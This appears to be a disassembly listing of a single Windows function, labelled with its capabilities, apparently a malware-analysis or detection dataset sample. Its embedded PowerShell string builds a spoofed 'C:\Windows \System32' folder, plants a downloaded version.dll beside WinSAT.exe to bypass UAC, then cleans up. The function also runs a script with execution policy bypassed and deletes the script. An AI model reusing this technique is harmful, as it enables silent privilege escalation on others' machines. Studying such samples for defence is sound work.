Function at 0x140001290
Capabilities:
Create process on windows
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x130], rax
xor edi, edi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov ecx, 0x190
call fcn.140002f70
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], 0x180
mov qword [rbp - 0x80], 0x18f
mov rdx, rax
lea rcx, str._nNew_Item__C:Windows_System32__ItemType_Directory__nSet_Location__Path__C:Windows_System32__ncopy_C:WindowsSystem32WinSAT.exe__C:windows_System32winSAT.exe___nInvoke_WebRequest__Uri_http:__localhost_version.dll__OutFile_version.dll__nStart_Process__Filepath_C:windows_System32winSAT.exe__nStart_Sleep__Seconds_1__nRemove_Item__C:Windows___Force__Recurse_n
lea r8d, [rdi + 3]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x140001300
mov byte [rax + 0x180], dil
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x20]
call fcn.1400022e0
nop
cmp qword [rbp + 0xa8], 0
jne 0x1400013ab
lea rdx, [0x1400046b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002820
mov rcx, rax
lea rdx, [0x1400029f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x140001592
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
lea rcx, [rbp + 0x20]
call fcn.140002d30
lea rcx, [rbp + 0x28]
call fcn.140002770
test rax, rax
jne 0x1400013f3
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
mov dword [rbp + 0x14], eax
mov dword [rbp - 0x50], 0x68
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 7
mov ecx, 0x90
call fcn.140002f70
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], 0x40
mov qword [rbp - 0x60], 0x47
movaps xmm0, xmmword [str.powershell.exe__ExecutionPolicy_Bypass__File_powershell_code.ps1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004700]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140004710]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140004720]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140004730]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140004740]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140004750]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140004760]
movups xmmword [rax + 0x70], xmm1
mov word [rax + 0x80], di
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000150a
lea rdx, [0x140004778]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002820
mov rcx, rax
lea rdx, [0x1400029f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000153f
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.powershell_code.ps1
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ebx, edi
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x140001582
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000157d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000157d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002fac
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], di
lea rcx, [rbp + 0x20]
call fcn.140001610
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400015db
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002fac
mov eax, ebx
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140002f50
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret